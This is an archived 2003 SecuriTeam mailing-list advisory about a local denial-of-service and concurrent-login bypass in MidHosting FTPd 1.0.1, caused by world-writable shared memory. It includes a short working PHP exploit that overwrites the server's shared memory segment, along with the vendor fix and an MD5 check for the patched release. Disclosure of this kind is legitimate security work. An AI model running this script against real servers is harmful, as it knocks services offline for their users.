

# [UNIX] MidHosting FTPd Denial of Service Vulnerability (Non-NULL Terminated Username)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0067.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 06/19/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 19 Jun 2003 20:27:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at [canadasales@beyondsecurity.com](mailto:canadasales@beyondsecurity.com)

-----  
MidHosting FTPd Denial of Service Vulnerability (Non-NULL Terminated Username)

---

## SUMMARY

<<http://freeware.tversu.ru/mhftpd/>> MidHosting FTPd is "an FTP server designed for hosting servers, based upon virtual FTPd with support for chroot, virtual users and other standard FTP features". MHFTPd can keep track of logged users in order to disable multiple concurrent logins. The -m command-line switch enables this option. Unfortunately, when this option is enabled, any user with shell access, CGI access, PHP access, etc. can bypass this restriction or cause a permanent denial of service.

## DETAILS

Vulnerable systems:

- \* MidHosting FTPd version 1.0.1

A vulnerability has been reported in MidHosting FTPd, which can be exploited by malicious users to cause a DoS (Denial of Service) or bypass

## Securiteam: [UNIX] MidHosting FTPd Denial of Service Vulnerability (Non-NULL Terminated Username)

certain restrictions.

MidHosting FTPd can be configured to disallow multiple simultaneous connections from the same user by using the "-m" option. However, insecure permissions are set on the shared memory storing logged in users and the related semaphore files.

This can be exploited by a malicious user to bypass the restriction or crash the service by inserting a non NULL terminated user name.

Exploit:

Here's a trivial PHP script that triggers the flaw and makes the service unavailable.

```
<?php
# mhftpd denial of service

define('SHMSIZE', 16384);

if (($shmid = shmop_open(ftok('/tmp', 'U'), 'w', 0777, SHMSIZE)) == -1) {
    die();
}
shmop_write($shmid, str_repeat('A', SHMSIZE), 0);

?>
```

Solution:

Install the latest version:

<http://freeware.tversu.ru/mhftpd/mhftpd.tar.gz>  
<http://freeware.tversu.ru/mhftpd/mhftpd.tar.gz>

Vendor status and fixes:

MidHosting FTPd author <mailto:iv[at]tversu.ru> Ivan Stepnikov has been notified on 06/17/2003 and promptly fixed the permissions on the shared memory segment.

The fixed version is available for download from the main web site.

However it looks like the version number hasn't been bumped. In order to check whether your software is vulnerable or not, please compute the MD5 digest of the tarball. The digest of the fixed one is 9b0bb31948ebbb11e9d2ef74276310df.

### ADDITIONAL INFORMATION

The information has been provided by <mailto:j@42-networks.com> Frank Denis.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

Securiteam: [UNIX] MidHosting FTPd Denial of Service Vulnerability (Non-NULL Terminated Username)

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.